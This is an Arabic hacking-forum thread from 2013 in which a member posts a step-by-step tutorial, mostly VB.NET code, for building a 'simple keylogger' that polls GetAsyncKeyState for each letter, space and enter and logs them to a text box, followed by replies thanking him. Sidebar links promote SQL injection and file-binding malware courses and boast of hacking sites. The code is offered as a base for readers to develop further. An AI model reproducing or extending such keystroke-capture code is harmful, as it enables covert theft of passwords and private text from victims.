1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

عمل كلوجر بـ الفيجوال دوت نت vb.net

الموضوع في 'قسم فيجول بيسك دوت نت VB.NET' بواسطة sTRANGE WORLd, بتاريخ ‏4 ديسمبر 2013.

كاتب الموضوع : sTRANGE WORLd المشاهدات : 1,244 الردود : 15 ‏4 ديسمبر 2013
  1. غير متصل

    sTRANGE WORLd
    Developer

    عضو منذ:
    ‏28 مارس 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    الوظيفة:
    قهر الحمايات
    الإقامة:

    [​IMG]

    [​IMG]


    ٱسًعدُ ٱلله ٱوِقَٱتُكم بّكل خٌيّر

    اليوم سنقوم بشرح كيفية

    صناعة كيلوجر بسيط جدا

    تستطيع التطوير عليه

    حسب خبرتك انا اعطي

    الشرح + الاكواد

    وانت طور فيه براحتك

    نبلش الشرح بسم الله ~

    *
    نفتح الفيجوال بيسك 2010 او 2012 ونختار مشروع جديد
    New - Project

    [​IMG]

    نسمي المشروع - Simple Keylogger

    [​IMG]

    تمام فتح لنا المشروع

    [​IMG]

    الان نقوم بأضافة 1 Rich Text Box + Timer

    نجعل Rich Box على كل الفورم

    [​IMG]

    الان نقوم بأستعراض كود التايمر

    [​IMG]

    نضع الكود التالي تحت الـ - Public Class Form1

    كود PHP:
    Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
    [​IMG]

    الان نضع الكود التالي في التايمر 1

    الكود

    كود PHP:
    Dim hotkey1 As Boolean
          hotkey1 
    GetAsyncKeyState(Keys.A)
          If 
    hotkey1 True Then
              RichTextBox1
    .SelectedText "A"
          
    End If
          
    Dim hotkey2 As Boolean
          hotkey2 
    GetAsyncKeyState(Keys.B)
          If 
    hotkey2 True Then
              RichTextBox1
    .SelectedText "B"
          
    End If
     
          
    Dim hotkey3 As Boolean
          hotkey3 
    GetAsyncKeyState(Keys.C)
          If 
    hotkey3 True Then
              RichTextBox1
    .SelectedText "C"
          
    End If
     
          
    Dim hotkey4 As Boolean
          hotkey4 
    GetAsyncKeyState(Keys.D)
          If 
    hotkey4 True Then
              RichTextBox1
    .SelectedText "D"
          
    End If
     
          
    Dim hotkey5 As Boolean
          hotkey5 
    GetAsyncKeyState(Keys.E)
          If 
    hotkey5 True Then
              RichTextBox1
    .SelectedText "E"
          
    End If
     
          
    Dim hotkey6 As Boolean
          hotkey6 
    GetAsyncKeyState(Keys.F)
          If 
    hotkey6 True Then
              RichTextBox1
    .SelectedText "F"
          
    End If
     
          
    Dim hotkey7 As Boolean
          hotkey7 
    GetAsyncKeyState(Keys.G)
          If 
    hotkey7 True Then
              RichTextBox1
    .SelectedText "G"
          
    End If
     
          
    Dim hotkey8 As Boolean
          hotkey8 
    GetAsyncKeyState(Keys.H)
          If 
    hotkey8 True Then
              RichTextBox1
    .SelectedText "H"
          
    End If
     
          
    Dim hotkey9 As Boolean
          hotkey9 
    GetAsyncKeyState(Keys.I)
          If 
    hotkey9 True Then
              RichTextBox1
    .SelectedText "I"
          
    End If
     
          
    Dim hotkey10 As Boolean
          hotkey10 
    GetAsyncKeyState(Keys.J)
          If 
    hotkey10 True Then
              RichTextBox1
    .SelectedText "J"
          
    End If
     
          
    Dim hotkey11 As Boolean
          hotkey11 
    GetAsyncKeyState(Keys.K)
          If 
    hotkey11 True Then
              RichTextBox1
    .SelectedText "K"
          
    End If
     
          
    Dim hotkey12 As Boolean
          hotkey12 
    GetAsyncKeyState(Keys.L)
          If 
    hotkey12 True Then
              RichTextBox1
    .SelectedText "L"
          
    End If
     
          
    Dim hotkey13 As Boolean
          hotkey13 
    GetAsyncKeyState(Keys.M)
          If 
    hotkey13 True Then
              RichTextBox1
    .SelectedText "M"
          
    End If
     
          
    Dim hotkey14 As Boolean
          hotkey14 
    GetAsyncKeyState(Keys.N)
          If 
    hotkey14 True Then
              RichTextBox1
    .SelectedText "N"
          
    End If
     
          
    Dim hotkey15 As Boolean
          hotkey15 
    GetAsyncKeyState(Keys.O)
          If 
    hotkey15 True Then
              RichTextBox1
    .SelectedText "O"
          
    End If
     
          
    Dim hotkey16 As Boolean
          hotkey16 
    GetAsyncKeyState(Keys.P)
          If 
    hotkey16 True Then
              RichTextBox1
    .SelectedText "P"
          
    End If
     
          
    Dim hotkey17 As Boolean
          hotkey17 
    GetAsyncKeyState(Keys.Q)
          If 
    hotkey17 True Then
              RichTextBox1
    .SelectedText "Q"
          
    End If
     
          
    Dim hotkey18 As Boolean
          hotkey18 
    GetAsyncKeyState(Keys.R)
          If 
    hotkey18 True Then
              RichTextBox1
    .SelectedText "R"
          
    End If
     
          
    Dim hotkey19 As Boolean
          hotkey19 
    GetAsyncKeyState(Keys.S)
          If 
    hotkey19 True Then
              RichTextBox1
    .SelectedText "S"
          
    End If
     
          
    Dim hotkey20 As Boolean
          hotkey20 
    GetAsyncKeyState(Keys.T)
          If 
    hotkey20 True Then
              RichTextBox1
    .SelectedText "T"
          
    End If
     
          
    Dim hotkey21 As Boolean
          hotkey21 
    GetAsyncKeyState(Keys.U)
          If 
    hotkey21 True Then
              RichTextBox1
    .SelectedText "U"
          
    End If
     
          
    Dim hotkey22 As Boolean
          hotkey22 
    GetAsyncKeyState(Keys.V)
          If 
    hotkey22 True Then
              RichTextBox1
    .SelectedText "V"
          
    End If
     
          
    Dim hotkey23 As Boolean
          hotkey23 
    GetAsyncKeyState(Keys.X)
          If 
    hotkey23 True Then
              RichTextBox1
    .SelectedText "X"
          
    End If
     
          
    Dim hotkey24 As Boolean
          hotkey24 
    GetAsyncKeyState(Keys.Y)
          If 
    hotkey24 True Then
              RichTextBox1
    .SelectedText "Y"
          
    End If
     
          
    Dim hotkey25 As Boolean
          hotkey25 
    GetAsyncKeyState(Keys.Z)
          If 
    hotkey25 True Then
              RichTextBox1
    .SelectedText "Z"
          
    End If
     
          
    Dim hotkey26 As Boolean
          hotkey26 
    GetAsyncKeyState(Keys.Space)
          If 
    hotkey26 True Then
              RichTextBox1
    .SelectedText " "
          
    End If
     
          
    Dim hotkey27 As Boolean
          hotkey27 
    GetAsyncKeyState(Keys.Enter)
          If 
    hotkey27 True Then
              RichTextBox1
    .SelectedText vbNewLine
          End 
    If
     
          
    Dim hotkey28 As Boolean
          hotkey28 
    GetAsyncKeyState(Keys.W)
          If 
    hotkey28 True Then
              RichTextBox1
    .SelectedText "W"
          
    End If
     
          
    Dim hotkey29 As Boolean
          hotkey29 
    GetAsyncKeyState(Keys.W)
          If 
    hotkey29 True Then
              RichTextBox1
    .SelectedText "W"
          
    End If
    [​IMG]

    نذهب لخصائص التايمر ونجعلها كما في الصورة
    Interval = 90
    Enabled = True

    [​IMG]

    نعمل بلد ومبروووك عليك الكيلوجر )4:"

    [​IMG]

    تحميل الصور + الاكواد

    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]

     


    2 شخص معجب بهذا.
    جاري تحميل الصفحة...
  2. غير متصل

    .ılı.Iяẫqi.ılı.
    DeveloPer Plus

    عضو منذ:
    ‏22 ديسمبر 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    الإقامة:

    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    السلام عليكم ورحة الله وبركاته ,
    الله يعطيك العافيه يالغالي على الشرح !:"
    , ختم [[​IMG]]
     


  3. غير متصل

    ӎƦ.HmidE
    DeveloPer Plus

    عضو منذ:
    ‏9 يوليو 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    الوظيفة:
    .....
    الإقامة:

    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    الله يعطيك العافية رائع مميز

    واصل ابداعك ولاتحرمنا من جديدك
     


  4. غير متصل

    ĸʜɜʟɛɒ
    Active DeveloPer

    عضو منذ:
    ‏3 نوفمبر 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    الإقامة:

    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    مشكور يا غالي على هذا الشرح
     


  5. غير متصل

    A.R.K.A.N
    DeveloPer Plus

    عضو منذ:
    ‏8 يناير 2013
    عدد المشاركات:
    الإعجابات المتلقاة:
    15
    نقاط الجائزة:
    الإقامة:

    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    الله يعطيك العافية مبدع اخوي
    ماقصرت :{1}:
     


  6. غير متصل

    ABOJANA IRAQY
    DeveloPer Plus

    عضو منذ:
    ‏10 مايو 2013
    عدد المشاركات:
    الإعجابات المتلقاة:
    74
    نقاط الجائزة:

    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    يعطيك العافيه يـ غالي
    و ان شاء الله يسسستفيدو الجميع من شرحك الجميل
    بارك الله فيك:{7}:
     


  7. غير متصل

    Amazighi_Hacker
    rank
    Developer

    عضو منذ:
    ‏3 أكتوبر 2011
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    الإقامة:

    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    مشكور بارك الله بيك
     


  8. غير متصل

    IM MATRIX
    Developer

    عضو منذ:
    ‏1 ابريل 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:

    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    وعليكم السلام ورحمه الله وبركاته
    .
    آلله يجزاك الخير
    .
    شرح متعوب عليه
    .
    بآرك الله بك
     


  9. غير متصل

    THe Code
    rank
    Developer

    عضو منذ:
    ‏31 مارس 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    الإقامة:

    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    *،


    شكرآ ي وحشَ *:"
     


  10. غير متصل

    Nafar One
    rank
    Developer

    عضو منذ:
    ‏25 يناير 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    الوظيفة:
    أختراق مواقع
    الإقامة:

    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    السلام عليكم

    مشكور يا غالي ,, ما ننحرم من جديدك ​
     


مشاركة هذه الصفحة

جاري تحميل الصفحة...